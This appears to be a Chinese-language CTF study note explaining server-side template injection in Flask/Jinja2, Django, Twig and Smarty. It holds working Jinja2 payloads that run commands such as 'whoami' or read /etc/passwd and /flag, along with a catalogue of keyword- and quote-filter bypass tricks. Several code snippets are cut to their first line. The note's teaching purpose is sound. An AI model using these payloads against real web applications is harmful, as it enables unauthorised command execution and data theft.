前言
虽然这种类型的题目之前做过,但是并不是很了解,遂记录加深理解。
何为SSTI
SSTI 就是服务器端模板注入(Server-Side Template Injection),攻击者通过向Web应用程序的模板引擎注入恶意代码,从而在服务器端执行任意指令。
模板引擎
如Jinja2、Thymeleaf、Freemarker等,用于将动态数据嵌入静态页面(如HTML)。例如,开发人员可能编写模板:
1 | Hello {{ user.name }}! |
漏洞成因
服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。
python中的SSTI
Flask/Jinja2
示例
1 | from flask import Flask, request, render_template_string |
render_template_string()
直接执行包含用户输入的模板字符串,导致模板引擎将其视为代码执行。
Django
示例
1 | rom django.http import HttpResponse |
php中的SSTI
Twig
示例
php
1 | require_once 'vendor/autoload.php'; |
攻击者可通过 name
参数注入恶意模板代码:
1 | http://example.com/?name={{7 * 7}} |
Smarty
php
1 | $smarty = new Smarty(); |
攻击者注入:
http
1 | http://example.com/?payload={system('id')} |
Python模板注入的一般流程
现在大部分的SSTI还是以jinja2为主或者是python的模板,所以先讲python。
前置知识
一般我们看到的payload长这样
1 | {{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('cat /flag').read()}} |
- 对象 : 在 Python 中 一切皆为对象 ,当你创建一个列表
[]
、一个字符串""
或一个字典{}
时,你实际上是在创建不同类型的对象。 - 继承 : 我们知道对象是类的实例,类是对象的模板。在我们创建一个对象的时候,其实就是创建了一个类的实例,而在 python 中所有的类都继承于一个基类,我们可以通过一些方法,从创建的对象反向查找它的类,以及对应类父类。这样我们就能从任意一个对象回到类的端点,也就是基类,再从端点任意的向下查找。
- 魔术方法 : 我们如何去实现在继承中我们提到的过程呢?这就需要在上面 Payload 中类似
__class__
的魔术方法了,通过拼接不同作用的魔术方法来操控类,我们就能实现文件的读取或者命令的执行了。
一般过程
假设我们现在只有一个对象A,那么我们要做的就是:
找对象 A 的类 - 类 A -> 找类 A 的父亲 - 类 B -> 找祖先 / 基类 - 类 O -> 遍历祖先下面所有的子类 -> 找到可利用的类 类 F 类 G-> 构造利用方法-> 读写文件 / 执行命令
拿基类
在python中所有类都继承自一个特殊的基类object,拿到它即可获取所有的子类。
我们一般利用字符串,元组,字典,列表这种最基础的对象向上查找。
在寻找时通常使用以下魔术方法
1 | __class__ 类的一个内置属性,表示实例对象的类。 |
我们一般先利用__class__
获取一个实例的类,再用__base__
,__bases__
,__mro__
获取基类例如:
1 | request.__class__ |
拿子类
当我们拿到基类时,便可以直接使用 subclasses()
获取基类的所有子类了。
1 | ().__class__.__base__.__subclasses__() |
找到合适的子类后我们还需要用
1 | __init__ 初始化类,返回的类型是function |
找到子类中合适的方法
命令执行
找到合适的方法后,我们便可以进行命令执行例如
1 | ''.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('dir').read() |
这使用了popen方法读取目录
绕过
. 被过滤
1.[]绕过
可以利用 [ ]代替 . 的作用。
{{().__class__}}
可以替换为:{{()["__class__"]}}
举例:{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
2.attr绕过
attr用于获取对象的属性
1 | {{().__class__}} 可以替换为: |
单双引号过滤
1.利用request内置对象
在Flask框架中,request
对象可以访问HTTP请求的所有参数(如GET参数、POST表单、Cookies、Headers等)。攻击者通过将这些参数作为字符串载体,将原本需要单双引号的敏感字符(如__class__
、os
等)以参数形式传递,从而绕过模板引擎对引号的过滤。
例如:
- GET参数:
request.args.key
获取URL中的参数值。 - POST参数:
request.form.key
获取表单提交的值。 - Cookies:
request.cookies.key
从Cookie中读取值
例如
1 | {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd |
2.chr绕过
如果使用GET请求时,+号记得url编码,要不会被当作空格处理。
1 | {% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}} |
关键字过滤
1.字符串拼接
1 | ["__cla" "ss__"] # 等价于 "__class__" |
利用”+”进行字符串拼接,绕过关键字过滤。
1 | {{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}} |
2.join拼接
利用join()函数来绕过关键字过滤,和使用**+**号连接大差不差。
1 | {{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}} |
3.使用str原生函数replace替换
将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。
1 | {{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}} |
4.编码绕过
我们可以利用对关键字编码的方法,绕过关键字过滤,例如用16进制编码绕过:
1 | "__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" |
与这类似的,其他编码方式也可以绕过
5.在jinja2可以使用~进行拼接
1 | {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}} |
类知识的总结
1 | __class__ 类的一个内置属性,表示实例对象的类。 |